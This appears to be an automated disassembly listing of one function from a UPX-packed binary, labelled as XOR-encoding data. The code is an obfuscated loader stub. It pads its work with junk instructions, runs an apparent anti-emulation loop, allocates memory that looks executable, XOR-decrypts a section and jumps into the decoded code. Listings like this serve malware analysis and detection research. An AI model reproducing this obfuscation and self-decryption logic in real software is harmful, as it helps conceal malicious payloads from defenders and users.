Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x75b1fadb
dec eax
inc ecx
popal
sub eax, ecx
not ecx
and eax, eax
mov esi, 0
mov ebx, ecx
inc edx
mov edi, edx
mov eax, ebx
sub edi, 1
not edi
sub edi, edx
mov ecx, eax
or edi, edx
sub edi, edx
not edx
inc esi
sub edi, 1
sub edx, edi
and edx, edx
cmp esi, 0x1000e80
jne 0x47afcc
or edx, edx
mov edi, edx
cmp esi, 0x1000e80
je 0x47b00f
mov eax, 0
mov dword [eax], ecx
add edx, 0x1f12e60c
add edx, edi
sub edx, edi
or eax, eax
dec ecx
mov edi, 0x47ada2
or edx, esi
dec edx
mov ecx, 0x47af96
mov eax, edx
mov esi, 0xddd7dbf4
mov ebx, dword [edi]
add edx, eax
and esi, esi
dec esi
and ebx, 0xff
inc eax
sub eax, 0xa74efece
xor dword [ecx], ebx
or esi, esi
sub eax, esi
mov edx, esi
inc ecx
dec edx
and edx, edx
add edx, esi
inc edi
add eax, 1
mov edx, esi
cmp ecx, entry0
jl 0x47b030
not esi
inc eax
mov eax, edx
sub esi, edx
or eax, eax
add ecx, ebx
inc edi
mov esi, 0x47af9a
and ebx, edi
dec ecx
mov esi, dword [esi]
mov edi, ecx
add edx, edx
mov esi, dword [esi]
or edx, ebx
not ebx
sub edi, 0xa9cc4f2c
sub esp, 4
mov dword [esp], esi
add edi, edx
and ebx, edx
mov ebx, ecx
mov esi, 0x47af96
sub edi, 0xe4b1f5ac
not ebx
mov esi, dword [esi]
inc edx
sub edi, ecx
or edi, ecx
mov esi, dword [esi]
not edi
add edx, 1
sub edi, ecx
push 0x47af9e
or edx, edi
and ebx, edx
call esi
mov edx, 0xc8b21c93
add ecx, 1
pop esi
inc edi
sub ebx, 0x10e2d42c
sub edi, ebx
push 0x47afab
sub edi, 0x2da2432a
or edx, ecx
not edx
push eax
not ebx
not ecx
or edi, edi
call esi
mov edi, 0x9eebdccc
dec edx
sub esp, 4
mov dword [esp], 0x40
add ebx, 0x42c0e154
dec ecx
and edi, ebx
push 0x3000
add ebx, ebx
mov edx, 0xfb579ebe
sub edi, ecx
push 0x20000937
or edi, edx
sub ebx, 1
push 0
add edi, ecx
dec edi
inc ebx
call eax
not edx
mov ebx, 0x65d2802e
add eax, 0x2000089a
not ecx
or edi, edx
inc edi
mov esi, 0xaec705bd
sub edi, ecx
mov edx, ecx
mov dword [eax], esi
mov ecx, 0x4cc68de4
sub ebx, 0xb460788d
mov esi, dword [eax]
inc edi
or ecx, edi
cmp esi, 0xaec705bd
je 0x47b16c
mov edx, 0
mov ebx, dword [edx]
add edi, 0x42513ab2
inc ebx
sub edi, 0xaa094475
mov edx, ecx
add ecx, 0x9b49bdee
sub eax, 0x4ab33598
mov esi, section.UPX1
mov ecx, eax
not eax
mov edx, 0x47ada1
mov eax, 0x9fc6dc18
mov eax, 0xa9be9d68
mov ebx, 0
or ecx, ecx
sub ecx, eax
mov edi, 0x47ada2
sub ecx, eax
sub ecx, eax
lea edi, [ebx + edi]
not ecx
sub ecx, 0x6cab4fb0
mov edi, dword [edi]
sub eax, ecx
inc ecx
and edi, 0xff
sub ecx, eax
dec ecx
or eax, ecx
inc ebx
sub eax, 1
sub eax, 1
cmp ebx, 0x1f4
jne 0x47b1e6
mov ebx, 0
and eax, eax
sub ecx, eax
dec ecx
sub eax, ecx
add ecx, 0xb0e07f66
xor dword [esi], edi
sub ecx, eax
or ecx, eax
add esi, 2
mov eax, ecx
and ecx, eax
cmp esi, edx
jl 0x47b1a8
add eax, ecx
add ecx, 0x2066e2ae
inc eax
not eax
mov ebx, section.UPX1
or ecx, edx
mov ecx, edx
mov edx, 0x7b09f1cb
mov esi, section.UPX1
sub ecx, 0x33b428d3
mov edx, 0x21f28a28
mov edi, 0x47ada1
or edx, ecx
mov edx, ecx
mov eax, 0
and ecx, edx
add ecx, ecx
mov edx, ecx
mov al, byte [esi]
or ecx, edx
mov ecx, edx
mov byte [ebx], al
mov ecx, edx
not edx
add ebx, 1
sub ecx, 0x39afc30f
and ecx, ecx
sub ecx, 0xa02c6d9c
add esi, 2
add ecx, 1
not edx
mov edx, 0xa945fb9d
cmp esi, edi
jle 0x47b248
mov edx, ecx
or ecx, ecx
add edx, 0x3e56b291
sub eax, ecx
inc eax
push 0x45e6a0
and eax, eax
mov eax, 0x425ecc00
ret